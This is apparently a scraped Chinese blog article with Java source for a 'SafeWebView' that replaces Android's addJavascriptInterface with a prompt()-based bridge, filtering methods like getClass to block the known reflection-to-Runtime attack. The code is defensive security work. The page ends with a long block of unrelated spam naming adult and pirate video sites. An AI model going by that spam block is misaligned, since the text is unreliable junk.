genJavascriptInterfacesString();loadUrl(mJsStringCache);}/*** 根據緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋梁(SDK4.2之前通過反射生成)*/private String genJavascriptInterfacesString() {if (mJsInterfaceMap.size() == 0) {return null;}/** 要注入的JS的格式,其中XXX為注入的對象的方法名,例如注入的對象中有一個方法A,那么這個XXX就是A* 如果這個對象中有多個方法,則會注冊多個window.XXX_js_interface_name塊,我們是用反射的方法遍歷* 注入對象中的帶有@JavaScripterInterface標注的方法** javascript:(function JsAddJavascriptInterface_(){* if(typeof(window.XXX_js_interface_name)!='undefined'){* console.log('window.XXX_js_interface_name is exist!!');* }else{* window.XXX_js_interface_name={* XXX:function(arg0,arg1){* return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));* },* };* }* })()*/Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();//HEADStringBuilder script = new StringBuilder();script.append("javascript:(function JsAddJavascriptInterface_(){");// 遍歷待注入java對象,生成相應的js對象try {while (iterator.hasNext()) {Map.Entry<String, Object> entry = iterator.next();String interfaceName = entry.getKey();Object obj = entry.getValue();// 生成相應的js方法createJsMethod(interfaceName, obj, script);}} catch (Exception e) {e.printStackTrace();}// Endscript.append("})()");return script.toString();}/*** 根據待注入的java對象,生成js方法** @param interfaceName 對象名* @param obj 待注入的java對象* @param script js代碼*/private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {return;}Class<? extends Object> objClass = obj.getClass();script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");if (DEBUG) {script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");}script.append("}else {");script.append(" window.").append(interfaceName).append("={");// 通過反射機制,添加java對象的方法Method[] methods = objClass.getMethods();for (Method method : methods) {String methodName = method.getName();// 過濾掉Object類的方法,包括getClass()方法,因為在Js中就是通過getClass()方法來得到Runtime實例if (filterMethods(methodName)) {continue;}script.append(" ").append(methodName).append(":function(");// 添加方法的參數int argCount = method.getParameterTypes().length;if (argCount > 0) {int maxCount = argCount - 1;for (int i = 0; i < maxCount; ++i) {script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(argCount - 1);}script.append(") {");// Add implementationif (method.getReturnType() != void.class) {script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");} else {script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");}// Begin JSONscript.append("JSON.stringify({");script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");script.append(KEY_ARG_ARRAY).append(":[");// 添加參數到JSON串中if (argCount > 0) {int max = argCount - 1;for (int i = 0; i < max; i++) {script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(max);}// End JSONscript.append("]})");// End promptscript.append(");");// End functionscript.append(" }, ");}// End of objscript.append(" };");// End of if or elsescript.append("}");}/*** 檢查是否是被過濾的方法*/private boolean filterMethods(String methodName) {for (String method : mFilterMethods) {if (method.equals(methodName)) {return true;}}return false;}/*** 利用反射,調用java對象的方法。* <p>* 從緩存中取出key=interfaceName的java對象,并調用其methodName方法** @param result* @param interfaceName 對象名* @param methodName 方法名* @param args 參數列表* @return*/private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {boolean succeed = false;final Object obj = mJsInterfaceMap.get(interfaceName);if (null == obj) {result.cancel();return false;}Class<?>[] parameterTypes = null;int count = 0;if (args != null) {count = args.length;}if (count > 0) {parameterTypes = new Class[count];for (int i = 0; i < count; ++i) {parameterTypes[i] = getClassFromJsonObject(args[i]);}}try {Method method = obj.getClass().getMethod(methodName, parameterTypes);Object returnObj = method.invoke(obj, args); // 執行接口調用boolean isVoid = returnObj == null || returnObj.getClass() == void.class;String returnValue = isVoid ? "" : returnObj.toString();result.confirm(returnValue); // 通過prompt返回調用結果succeed = true;} catch (NoSuchMethodException e) {e.printStackTrace();} catch (Exception e) {e.printStackTrace();}result.cancel();return succeed;}/*** 解析出參數類型** @param obj* @return*/private Class<?> getClassFromJsonObject(Object obj) {Class<?> cls = obj.getClass();// js對象只支持int boolean string三種類型if (cls == Integer.class) {cls = Integer.TYPE;} else if (cls == Boolean.class) {cls = Boolean.TYPE;} else {cls = String.class;}return cls;}/*** 解析JavaScript調用prompt的參數message,提取出對象名、方法名,以及參數列表,再利用反射,調用java對象的方法。** @param view* @param url* @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文本!!!"]}* @param defaultValue* @param result* @return*/private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {String prefix = MSG_PROMPT_HEADER;if (!message.startsWith(prefix)) {return false;}String jsonStr = message.substring(prefix.length());try {JSONObject jsonObj = new JSONObject(jsonStr);// 對象名稱String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);// 方法名稱String methodName = jsonObj.getString(KEY_FUNCTION_NAME);// 參數數組JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);Object[] args = null;if (null != argsArray) {int count = argsArray.length();if (count > 0) {args = new Object[count];for (int i = 0; i < count; ++i) {Object arg = argsArray.get(i);if (!arg.toString().equals("null")) {args[i] = arg;} else {args[i] = null;}}}}if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {return true;}} catch (Exception e) {e.printStackTrace();}result.cancel();return false;}private class WebChromeClientEx extends WebChromeClient {@Overridepublic final void onProgressChanged(WebView view, int newProgress) {injectJavascriptInterfaces(view);super.onProgressChanged(view, newProgress);}@Overridepublic final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {if (view instanceof SafeWebView) {if (handleJsInterface(view, url, message, defaultValue, result)) {return true;}}return super.onJsPrompt(view, url, message, defaultValue, result);}@Overridepublic final void onReceivedTitle(WebView view, String title) {injectJavascriptInterfaces(view);}}private class WebViewClientEx extends WebViewClient {@Overridepublic void onLoadResource(WebView view, String url) {injectJavascriptInterfaces(view);super.onLoadResource(view, url);}@Overridepublic void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {injectJavascriptInterfaces(view);super.doUpdateVisitedHistory(view, url, isReload);}@Overridepublic void onPageStarted(WebView view, String url, Bitmap favicon) {injectJavascriptInterfaces(view);super.onPageStarted(view, url, favicon);}@Overridepublic void onPageFinished(WebView view, String url) {injectJavascriptInterfaces(view);super.onPageFinished(view, url);}} }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267
    • 268
    • 269
    • 270
    • 271
    • 272
    • 273
    • 274
    • 275
    • 276
    • 277
    • 278
    • 279
    • 280
    • 281
    • 282
    • 283
    • 284
    • 285
    • 286
    • 287
    • 288
    • 289
    • 290
    • 291
    • 292
    • 293
    • 294
    • 295
    • 296
    • 297
    • 298
    • 299
    • 300
    • 301
    • 302
    • 303
    • 304
    • 305
    • 306
    • 307
    • 308
    • 309
    • 310
    • 311
    • 312
    • 313
    • 314
    • 315
    • 316
    • 317
    • 318
    • 319
    • 320
    • 321
    • 322
    • 323
    • 324
    • 325
    • 326
    • 327
    • 328
    • 329
    • 330
    • 331
    • 332
    • 333
    • 334
    • 335
    • 336
    • 337
    • 338
    • 339
    • 340
    • 341
    • 342
    • 343
    • 344
    • 345
    • 346
    • 347
    • 348
    • 349
    • 350
    • 351
    • 352
    • 353
    • 354
    • 355
    • 356
    • 357
    • 358
    • 359
    • 360
    • 361
    • 362
    • 363
    • 364
    • 365
    • 366
    • 367
    • 368
    • 369
    • 370
    • 371
    • 372
    • 373
    • 374
    • 375
    • 376
    • 377
    • 378
    • 379
    • 380
    • 381
    • 382
    • 383
    • 384
    • 385
    • 386
    • 387
    • 388
    • 389
    • 390
    • 391
    • 392
    • 393
    • 394
    • 395
    • 396
    • 397
    • 398
    • 399
    • 400
    • 401
    • 402
    • 403
    • 404
    • 405
    • 406
    • 407
    • 408
    • 409
    • 410
    • 411
    • 412
    • 413
    • 414
    • 415
    • 416
    • 417
    • 418
    • 419
    • 420
    • 421
    • 422
    • 423
    • 424
    • 425
    • 426
    • 427
    • 428
    • 429
    • 430
    • 431
    • 432
    • 433
    • 434
    • 435
    • 436
    • 437
    • 438
    • 439
    • 440
    • 441
    • 442
    • 443
    • 444
    • 445
    • 446
    • 447
    • 448
    • 449
    • 450
    • 451
    • 452
    • 453
    • 454
    • 455
    • 456
    • 457
    • 458
    • 459
    • 460
    • 461
    • 462
    • 463
    • 464
    • 465
    • 466
    • 467
    • 468
    • 469
    • 470
    • 471
    • 472
    • 473
    • 474
    • 475
    • 476
    • 477
    • 478
    • 479
    • 480
    • 481
    • 482
    • 483
    • 484
    • 485
    • 486
    • 487
    • 488
    • 489
    • 490
    • 491
    • 492
    • 493
    • 494
    • 495
    • 496
    • 497
    • 498
    • 499
    • 500
    • 501
    • 502
    • 503
    • 504
    • 505
    • 506
    • 507
    • 508
    • 509
    這段代碼基本是按照上面所描述的情況來寫的,修復了上面提到的幾個漏洞,這里再描述一下幾個需要注意的點:
    • removeUnSafeJavascriptImpl :該函數用來在特定版本刪除上面提到的幾個 Google 注入的對象;
    • setWebViewClient 和 setWebChromeClient :重寫這兩個函數用來防止子類使用原生的 WebViewClient 和 WebChromeClient 導致失效;
    • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 幾個方法里面調用 injectJavascriptInterfaces 方法來注入生成的 JS 代碼;
    • genJavascriptInterfacesString 函數用來生成需要注入的 JS 代碼,其中通過 filterMethods 方法過濾掉了上面提到的幾個需要過濾的方法;
    • 注入完 JS 之后,Web 端就可以根據方法名調用對應終端注入的這段 JS 函數,然后調用到終端的 onJsPrompt 方法,通過 message 變量將信息傳遞過來,終端解析出對象、方法名和參數,最后通過反射的方法調用到 Native 層的代碼,另外如果需要返回值,則可以通過 JsPromptResult 對象通過 confirm 函數將信息從 Native 層傳遞給 Web 端,這樣就實現了一個完整的調用鏈。

    引用

    http://group.jobbole.com/26417/?utm_source=android.jobbole.com&utm_medium=sidebar-group-topic?
    http://blog.csdn.net/jiangwei0910410003/article/details/52687530?
    http://blog.csdn.net/leehong2005/article/details/11808557?
    https://github.com/yushiwo/WebViewBugDemo/blob/master/src/com/lee/webviewbug/WebViewEx.java?
    http://blog.csdn.net/sk719887916/article/details/52402470?
    https://zhuanlan.zhihu.com/p/24202408?
    https://github.com/lzyzsd/JsBridge?
    http://www.jianshu.com/p/93cea79a2443#?
    http://www.codexiu.cn/android/blog/33214/?
    https://github.com/pedant/safe-java-js-webview-bridge?
    http://blog.sina.com.cn/s/blog_777f9dbb0102v8by.html?
    http://www.cnblogs.com/chaoyuehedy/p/5556557.html?
    http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/
    https://my.oschina.net/zhibuji/blog/100580?
    http://www.cnblogs.com/punkisnotdead/p/5062631.html?utm_source=tuicool&utm_medium=referral

    版權聲明:轉載請標明出處http://blog.csdn.net/self_study,對技術感興趣的同鞋加群544645972一起交流 http://blog.csdn.net/zhao_zepeng/article/details/55046348

    總結

    以上是生活随笔為你收集整理的android WebView详解,常见漏洞详解和安全源码(下)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    www.亚洲精品视频 | 日韩在线精品视频 | 日日爱网址 | 丁香六月网 | 亚洲一区二区视频在线 | 亚洲欧美综合精品久久成人 | 色悠悠久久综合 | 四虎永久精品在线 | 日韩欧美有码在线 | 欧美福利视频 | 天天干,天天插 | 久久久久五月天 | 亚洲三级在线免费观看 | 99爱视频 | 操操操操网 | 婷婷六月网| 日韩一二三在线 | 九九精品在线观看 | 国产精品视频全国免费观看 | 91色在线观看视频 | 国产成人精品一区二区三区 | 91手机电影| 九九九在线观看视频 | 三级黄色理论片 | 91麻豆精品国产91久久久久久久久 | 狠狠操狠狠干天天操 | 激情综合色播五月 | 日韩一区二区三区免费视频 | 在线播放 一区 | 欧美日本高清视频 | 91插插视频 | 久久国产精品99精国产 | 欧美色综合久久 | 国产精品女同一区二区三区久久夜 | 热久久在线视频 | 国产黄色一级片 | 97国产大学生情侣酒店的特点 | 亚洲涩综合 | 91av免费在线观看 | 九九九九免费视频 | www免费黄色 | 成年人电影免费在线观看 | 久久久久伊人 | a视频在线观看 | av片无限看| 欧美日韩另类在线观看 | 激情五月网站 | 日韩av进入 | 青青河边草观看完整版高清 | 97国产大学生情侣白嫩酒店 | 精品国产乱码久久久久久天美 | 一区二区观看 | 97影视 | 中文字幕一区二区三区乱码不卡 | 综合网成人 | 亚洲在线观看av | 国产精品久久久久久久午夜片 | 久草国产在线观看 | 97天堂| 国产美女免费观看 | www亚洲精品 | 91av手机在线| 亚洲天天综合网 | 91激情视频在线观看 | 欧美午夜a| 久久成人在线视频 | 久久久久久久综合色一本 | 亚洲在线成人精品 | 国模一区二区三区四区 | 日韩av在线网站 | 久久久久国产精品免费 | 亚洲三级毛片 | 综合国产在线观看 | 9999在线观看 | 免费精品视频在线观看 | 成人免费在线观看入口 | 国产高清视频在线免费观看 | 日韩高清dvd | 精品在线视频观看 | 免费在线播放 | 久久精品视频观看 | 9在线观看免费高清完整版在线观看明 | 在线观看的a站 | 久久av中文字幕片 | 黄色99视频| www亚洲精品 | 免费一级片在线 | 国内视频一区二区 | 91麻豆精品91久久久久同性 | 久久96国产精品久久99漫画 | 久久不见久久见免费影院 | 天天操天天操天天操天天操天天操 | 伊人久久国产 | 亚洲一区二区观看 | 97激情影院 | 69久久久| 国产成人1区 | 免费看一级特黄a大片 | 91看片网址| 美州a亚洲一视本频v色道 | 国产精品一区二区久久精品 | www.99热精品| 国产在线不卡一区 | 欧美精品免费一区二区 | 久久综合欧美精品亚洲一区 | 中文字幕一区二区在线观看 | 久久久国产精品久久久 | 日韩美精品视频 | 91精品久久久久久久99蜜桃 | 五月婷婷网站 | 欧美一区免费观看 | 国产精品乱码久久久久久1区2区 | 国产亚洲精品久久久久久移动网络 | 精品一区电影国产 | 91av影视| 久操视频在线观看 | 偷拍精偷拍精品欧洲亚洲网站 | 久久精品久久99精品久久 | 久草com| 国产伦理一区 | 五月婷婷丁香在线观看 | 一区二区不卡在线观看 | 国产成人精品一区二区在线 | av福利在线免费观看 | 天天综合网在线观看 | av电影亚洲 | 国产午夜精品一区二区三区在线观看 | 免费观看国产视频 | a√天堂资源 | 黄色福利视频网站 | 国产精品久久久久久999 | 午夜久久久精品 | 成人污视频在线观看 | 亚洲国产精品久久久久婷婷884 | 久久精品99国产国产精 | 日韩久久精品一区二区三区下载 | 日韩 精品 一区 国产 麻豆 | 韩国在线视频一区 | av不卡在线看 | 一二三区高清 | 国产成人在线一区 | 日韩精品一区二区免费 | 午夜av在线电影 | 国产精品热视频 | 在线免费视频a | 欧美另类xxxx | 成人av电影免费在线观看 | 天堂在线v | 久免费| 中文字幕人成人 | 国产精品黄 | 国产精品福利av | 人人插人人爱 | 97成人精品 | 黄色免费在线视频 | 日韩电影一区二区三区在线观看 | 日韩在线观看网址 | 国产 字幕 制服 中文 在线 | 免费91在线 | 日本久久久精品视频 | 日本中文字幕系列 | 91精品一区二区三区蜜臀 | 久久久久亚洲精品国产 | 成人久久18免费网站麻豆 | 超碰97人人在线 | 国产特级毛片aaaaaa高清 | 久久黄色a级片 | 亚洲精品国偷拍自产在线观看蜜桃 | 又黄又爽又无遮挡免费的网站 | 久久人人爽爽人人爽人人片av | 在线观看亚洲精品视频 | 热久久影视 | 国产 日韩 欧美 自拍 | 日韩成人在线一区二区 | 国产日韩在线观看一区 | 在线观看免费中文字幕 | 狠狠干在线播放 | 92av视频| 玖玖视频| 国产精品99久久久久久有的能看 | 亚洲精品在线免费播放 | www.在线看片.com | 在线观看网站av | 精品一二三区 | 欧美电影在线观看 | 久久久免费看片 | 五月婷婷丁香在线观看 | 亚洲 欧美变态 另类 综合 | 这里有精品在线视频 | 中文字幕在线视频免费播放 | 99国产高清 | 中文字幕亚洲精品日韩 | 碰天天操天天 | 99热日本 | 欧美性天天 | 九九热免费视频在线观看 | 色五婷婷 | 亚洲91视频 | 天天干夜夜夜操天 | 中文字幕 婷婷 | 在线欧美a | 国产视频一区二区三区在线 | 国产不卡毛片 | 日韩在线三级 | 国产一级高清视频 | 精品在线观 | 久久电影国产免费久久电影 | 午夜视频播放 | 久久国产精品久久久 | 国产成人久久 | 免费在线观看av电影 | 午夜电影中文字幕 | 国产色女人 | 国产一区二区在线精品 | 日韩欧美黄色网址 | 中日韩在线视频 | 国产九九在线 | 精品亚洲视频在线 | av解说在线观看 | 久久中文字幕导航 | 六月色婷 | 日日夜精品 | 久章草在线观看 | 色香蕉网 | 精品在线免费观看 | 蜜桃av久久久亚洲精品 | 超碰在线98| 日日爽天天 | 天天射天天干天天爽 | a在线观看国产 | 亚洲国产一区在线观看 | 色婷婷激情| 国产黄a三级 | 黄av免费在线观看 | 色资源网在线观看 | 最近高清中文字幕在线国语5 | 黄色在线看网站 | 一级国产视频 | 久久超碰网 | 夜夜看av| 在线播放国产精品 | 免费av高清| 国产精品一区免费在线观看 | 国产成人av网址 | 在线观看精品黄av片免费 | a级国产乱理论片在线观看 伊人宗合网 | 免费网站观看www在线观看 | 成人亚洲精品国产www | 成人av午夜 | 精品伦理一区二区三区 | 日韩最新在线视频 | 久久久精品国产一区二区电影四季 | 亚洲日韩精品欧美一区二区 | 色婷婷六月天 | 欧洲亚洲女同hd | 在线观看日韩av | 亚洲成成品网站 | 99久久婷婷国产综合精品 | 欧美午夜精品久久久久久孕妇 | 黄色特一级片 | 91麻豆精品国产 | 少妇超碰在线 | 久草精品视频在线播放 | 91麻豆国产福利在线观看 | 国产成人777777 | 99精品视频在线免费观看 | 国产福利电影网址 | 中文字幕一区二区三区久久蜜桃 | 在线v| 久久国产高清 | 国产高清日韩欧美 | 97热久久免费频精品99 | 丝袜+亚洲+另类+欧美+变态 | 国产精品99精品久久免费 | 在线观看91 | 深爱激情五月婷婷 | 亚洲影院国产 | 99免费在线观看 | 成人日韩av | 久久精品免费电影 | 国精产品满18岁在线 | 成人av av在线 | 黄色片免费看 | 精品免费视频 | 九九综合久久 | 特黄特色特刺激视频免费播放 | 亚洲午夜久久久综合37日本 | 中文字幕一区二区三区四区在线视频 | 三级大片网站 | 亚洲精品久久久久久久不卡四虎 | 国产视频久久久 | 夜夜躁日日躁狠狠久久av | 99精品国产在热久久下载 | 亚洲jizzjizz日本少妇 | 一个色综合网站 | 婷婷色综 | 亚洲国产中文字幕在线观看 | www久久com| 91精品对白一区国产伦 | 国产精品九九久久99视频 | 久久亚洲精品国产亚洲老地址 | 精品国产自在精品国产精野外直播 | 国产精品久久久久9999吃药 | 日韩黄色在线观看 | 欧美性做爰猛烈叫床潮 | 亚洲一区二区视频在线播放 | 8x成人在线 | 国产一级淫片免费看 | 午夜av电影 | 激情五月av | 中文亚洲欧美日韩 | 日韩一区二区三区不卡 | 免费在线91 | 欧美日韩在线视频一区 | 中文字幕有码在线 | 怡红院av久久久久久久 | 92精品国产成人观看免费 | 国产精品视频在线观看 | 四虎在线观看视频 | 91精品视频导航 | 日韩一级电影在线观看 | av动态图片 | 二区三区在线视频 | 国产黄色免费观看 | 国内精品视频免费 | 国产精品美女久久久网av | 精久久久久 | 日韩电影在线观看一区二区三区 | 九月婷婷人人澡人人添人人爽 | 免费视频97| 五月天激情视频在线观看 | 狠狠干美女 | 日本久久久亚洲精品 | 91视频在线免费看 | wwwwww色 | 91福利专区 | 亚洲国产日韩一区 | 日韩久久在线 | 久久亚洲区 | 成人资源站| 国内外激情视频 | 欧美天天射 | 激情婷婷丁香 | 精品91| 久久大片网站 | 激情视频免费在线 | 日本精a在线观看 | 91在线免费播放视频 | 国产精品99久久久久久久久 | 99国产精品免费网站 | 精品久久一区二区 | 婷婷综合久久 | 欧美日韩精品免费观看视频 | 99在线视频观看 | 天天爽天天爽天天爽 | 国产成人久久久久 | 五月婷婷丁香在线观看 | 亚洲涩涩涩| 97福利 | 日日操天天操狠狠操 | 亚洲精品伦理在线 | 成人a视频片观看免费 | 久久精品视频在线观看免费 | 国产精品中文字幕在线 | av片免费播放 | 久久久久久久久久免费视频 | 国产亚洲精品久久久久久网站 | 久久av中文字幕片 | 在线观看黄色的网站 | 久久人人爽人人爽人人 | 国产在线精品一区二区 | 久草国产视频 | 中文字幕在线看视频 | 免费av大片 | 国内精自线一二区永久 | av7777777| 国产一级高清视频 | 亚洲欧美日韩一级 | 天天se天天cao天天干 | 国内久久视频 | 久久爱影视i | 久草视频观看 | 伊人婷婷久久 | 婷婷爱五月天 | 亚洲黄色精品 | 一级理论片在线观看 | 亚洲国产免费 | 麻花豆传媒mv在线观看 | wwwwwww黄| 久久综合成人网 | 欧美日韩在线视频观看 | 美女免费黄网站 | 精品av在线播放 | 伊人夜夜 | 在线影院 国内精品 | 九九热99视频 | 国产黄色免费观看 | 久久av观看| 日韩欧美电影网 | 在线观看一级视频 | 免费a网| 99久热在线精品视频观看 | 狠狠ri| 亚洲精品女人久久久 | 久久夜夜爽 | 国产精品18久久久久白浆 | 999久久国精品免费观看网站 | 久久精品电影 | 久久高清毛片 | 婷婷久久网| 国产视频精品视频 | 久久久影片| 蜜臀av在线一区二区三区 | 久久免费视频观看 | 九九九在线观看 | 蜜臀久久99精品久久久无需会员 | 99视频在线看 | 国产一区二区三区久久久 | 国产一区二区三区高清播放 | 中文字幕欧美日韩va免费视频 | 久久韩国免费视频 | 中文高清av | 五月婷久久 | 特黄特色特刺激视频免费播放 | 六月丁香六月婷婷 | 亚洲精品一区二区三区新线路 | 手机在线看片日韩 | 高清不卡一区二区三区 | 亚洲乱码久久久 | 国产高清第一页 | 四虎8848免费高清在线观看 | 麻豆视传媒官网免费观看 | 国产99久久久国产精品 | 成人在线免费观看网站 | 91毛片视频 | 手机av看片 | 中文十次啦 | 国产综合在线视频 | 日韩在线观看高清 | 99久久这里只有精品 | 国产偷v国产偷∨精品视频 在线草 | 亚洲精品国产精品乱码在线观看 | 久久免费片| 婷婷日 | 日韩视频三区 | 亚洲不卡av一区二区三区 | 免费看一级黄色 | 久久免费视频在线观看30 | 亚洲美女视频网 | 国产一区二区三精品久久久无广告 | 91网在线 | 欧美日韩国产二区三区 | 欧美性视频网站 | 99 精品 在线 | 特黄特色特刺激视频免费播放 | 97色婷婷人人爽人人 | 久久视频这里有久久精品视频11 | 久久激情五月丁香伊人 | 久久美女免费视频 | 国产在线精品一区二区不卡了 | 99视频精品| 国产日本在线观看 | 久久精品99北条麻妃 | 午夜狠狠操 | 久久国产精品99国产 | 手机看片国产日韩 | 夜夜狠狠 | 一级黄毛片 | 精品久久久久久久久久久久久久久久久久 | 天天爽网站 | 在线观看视频福利 | 伊人天天操 | 日韩特级片 | 国产999精品视频 | 色婷婷综合成人av | 激情五月婷婷综合 | 91精品免费 | 亚洲狠狠丁香婷婷综合久久久 | 激情图片qvod| 精品女同一区二区三区在线观看 | 国产又粗又硬又爽视频 | 久久精品视频3 | 国产精品99久久久精品免费观看 | 欧美极品少妇xxxx | 亚洲va韩国va欧美va精四季 | 色a网 | 9999毛片| 国产在线毛片 | 欧美老少交| 亚洲最新av在线网址 | 一级黄毛片 | 九九热精品视频在线播放 | 国产中文字幕在线免费观看 | 久久久久北条麻妃免费看 | 亚洲一级黄色片 | 黄色av高清 | 天天爱天天爽 | 黄色成人91 | 久久中文欧美 | 久草在线视频网站 | 久久精品这里精品 | 亚洲综合在线播放 | 国产精品永久免费 | 午夜aaaa | 国产精品区免费视频 | 97精品久久 | 999久久国产精品免费观看网站 | 欧美精彩视频在线观看 | 一区二区精品久久 | 久久综合九色综合欧美就去吻 | 91精品视频在线免费观看 | 亚洲第一中文字幕 | 久久久久一区 | 99久久999久久久精玫瑰 | 日本在线精品视频 | 日韩午夜电影 | 亚洲不卡av一区二区三区 | 91九色porny在线 | 99久久久久久久 | 国产一级做a| 丁香花在线观看免费完整版视频 | 国内精品久久久久久 | 日韩免费在线视频观看 | 国产一区二区在线播放 | 亚洲精品综合一二三区在线观看 | 在线精品视频在线观看高清 | 在线视频 亚洲 | 久久综合电影 | 国产三级国产精品国产专区50 | 91成人天堂久久成人 | 欧美综合在线视频 | 欧美日韩高清在线一区 | 国产精品免费不卡 | 日韩中文在线视频 | 香蕉精品视频在线观看 | 精品麻豆入口免费 | 97国产超碰 | 婷婷色av| 91毛片在线 | 超碰97在线资源 | 精品欧美小视频在线观看 | 久久久久免费观看 | 天天色天天射天天操 | 久久视频在线 | 日韩精品三区四区 | 成人av.com | 国产最新精品视频 | 樱空桃av| 欧美性免费 | 丁香视频 | 96精品视频 | 亚洲精品午夜视频 | 日韩一级电影在线观看 | 国产精品9999 | 欧美成人影音 | 丁香婷婷激情啪啪 | 99热精品国产一区二区在线观看 | 在线国产视频观看 | 亚洲综合视频在线播放 | 国产精品久久99综合免费观看尤物 | av国产在线观看 | 精品久久久成人 | 开心激情五月婷婷 | 96久久精品 | 男女啪啪视屏 | 国产精品成人久久 | 伊人影院av | 午夜手机电影 | 国产中文字幕在线观看 | 深爱婷婷 | 婷婷激情影院 | 视频一区二区免费 | 精品一区精品二区 | 色婷婷综合五月 | 91精品国产入口 | 一区二区三区四区久久 | 人人爽人人搞 | 色在线最新 | 亚洲免费黄色 | 欧美视频在线二区 | 日韩精品高清视频 | 久久精彩视频 | 少妇资源站| 精品国产理论片 | 亚洲在线精品 | 综合久久久久久久 | 国产成人一区二区啪在线观看 | 日韩欧美视频在线观看免费 | 久久艹影院 | 国产一级淫片在线观看 | 综合在线观看色 | 日韩精品aaa | 正在播放日韩 | 欧美另类激情 | 成人免费在线视频 | 欧美激情va永久在线播放 | av黄色在线播放 | 夜夜夜夜操| 少妇bbw撒尿 | 丁香视频 | 欧美日韩亚洲在线观看 | 三级黄色在线观看 | 中文字幕第一 | 九九免费精品 | 日本中文字幕在线一区 | 中文字幕在线网 | 日韩一区二区三免费高清在线观看 | 久久av福利 | 91黄色免费网站 | 日韩理论视频 | 贫乳av女优大全 | 国产精品黑丝在线观看 | 人人玩人人添人人澡超碰 | 天天操比| 美女视频是黄的免费观看 | 久久国内免费视频 | 国产亚洲成人网 | 麻豆视频成人 | 日日爽视频 | 色网免费观看 | 国产成人黄色 | 国产美女免费 | 麻豆精品在线视频 | 国产一卡在线 | 激情欧美国产 | av中文国产 | 国产一卡二卡在线 | 亚洲成人黄色网址 | 91成人免费电影 | 国产91在线观 | 在线成人性视频 | 国产一区播放 | 91视频麻豆视频 | 在线观看av中文字幕 | 黄色一级影院 | 一级黄色在线免费观看 | 国产成人香蕉 | 午夜精品久久久久久久久久久久 | 日韩高清在线一区 | 国产精品伦一区二区三区视频 | 91完整版| 在线а√天堂中文官网 | 国产精品视频一二三 | 国产精品va在线播放 | 成人av一区二区兰花在线播放 | 91高清不卡 | 成人黄色免费在线观看 | 涩涩网站在线看 | 天天干天天射天天插 | 六月丁香综合网 | 